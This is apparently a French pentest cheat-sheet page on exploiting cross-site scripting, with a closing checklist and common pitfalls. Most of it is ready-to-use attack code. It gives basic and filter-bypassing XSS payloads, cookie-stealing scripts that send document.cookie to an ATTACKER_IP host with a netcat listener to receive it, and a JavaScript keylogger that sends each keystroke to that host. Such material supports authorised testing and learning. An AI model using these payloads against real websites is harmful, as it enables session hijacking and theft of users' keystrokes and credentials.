---
title: "Cross-Site Scripting (XSS)"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [xss, web, exploitation, pentest, javascript]
difficulty: intermediate
status: stable
updated: "Sun May 10 2026 00:00:00 GMT+0000 (Coordinated Universal Time)"
---
## Objectifs

Exploiter des vulnérabilités XSS pour voler des sessions, exécuter du JS arbitraire ou pivoter vers d'autres attaques.

## Payloads de base

```bash vars=TARGET
# Reflected XSS basique
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'"><img src=x onerror=alert(1)>

# Sans parenthèses
<svg onload=alert`1`>

# Dans les attributs
" onmouseover="alert(1)
javascript:alert(1)
```

## Vol de cookies (session hijacking)

```bash vars=TARGET
# Envoyer cookie vers serveur attaquant
<script>document.location='http://ATTACKER_IP:8080/steal?c='+document.cookie</script>
<img src=x onerror="fetch('http://ATTACKER_IP:8080/'+document.cookie)">

# Serveur de réception (attaquant)
nc -lvnp 8080
```

## Bypass de filtres

```bash vars=TARGET
# Balises alternatives
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<body onload=alert(1)>

# Encodage base64
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>

# Mixte majuscules
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
```

## Keylogger JS

```bash vars=TARGET
# Capturer les frappes clavier
<script>
document.onkeypress=function(e){
  fetch('http://ATTACKER_IP:8080/log?k='+e.key);
}
</script>
```

<Checklist
  title="Checklist XSS"
  storageKey="pentest-xss"
  items={[
    { id: "reflected", label: "XSS reflected testé (paramètres GET/POST)" },
    { id: "stored", label: "XSS stored testé (formulaires, commentaires)" },
    { id: "dom", label: "XSS DOM testé (hash URL, innerHTML)" },
    { id: "httponly", label: "Cookie HttpOnly vérifié" },
    { id: "csp", label: "CSP analysée (Content-Security-Policy header)" },
    { id: "bypass", label: "Bypass filtres tenté si payload de base bloqué" },
    { id: "impact", label: "Impact démontré (vol session ou cookie)" },
    { id: "rapport", label: "Payload + contexte documentés" },
  ]}
/>

## Pièges fréquents

- **HttpOnly** : cookie inaccessible en JS — XSS reste dangereux pour CSRF, redirect
- **CSP stricte** : bloque `<script>` inline — chercher un gadget ou bypass nonce
- **SameSite=Strict** : cookies non envoyés cross-site, impact CSRF réduit
- **Contexte** : adapter le payload (attribut HTML, JS inline, CSS, URL)
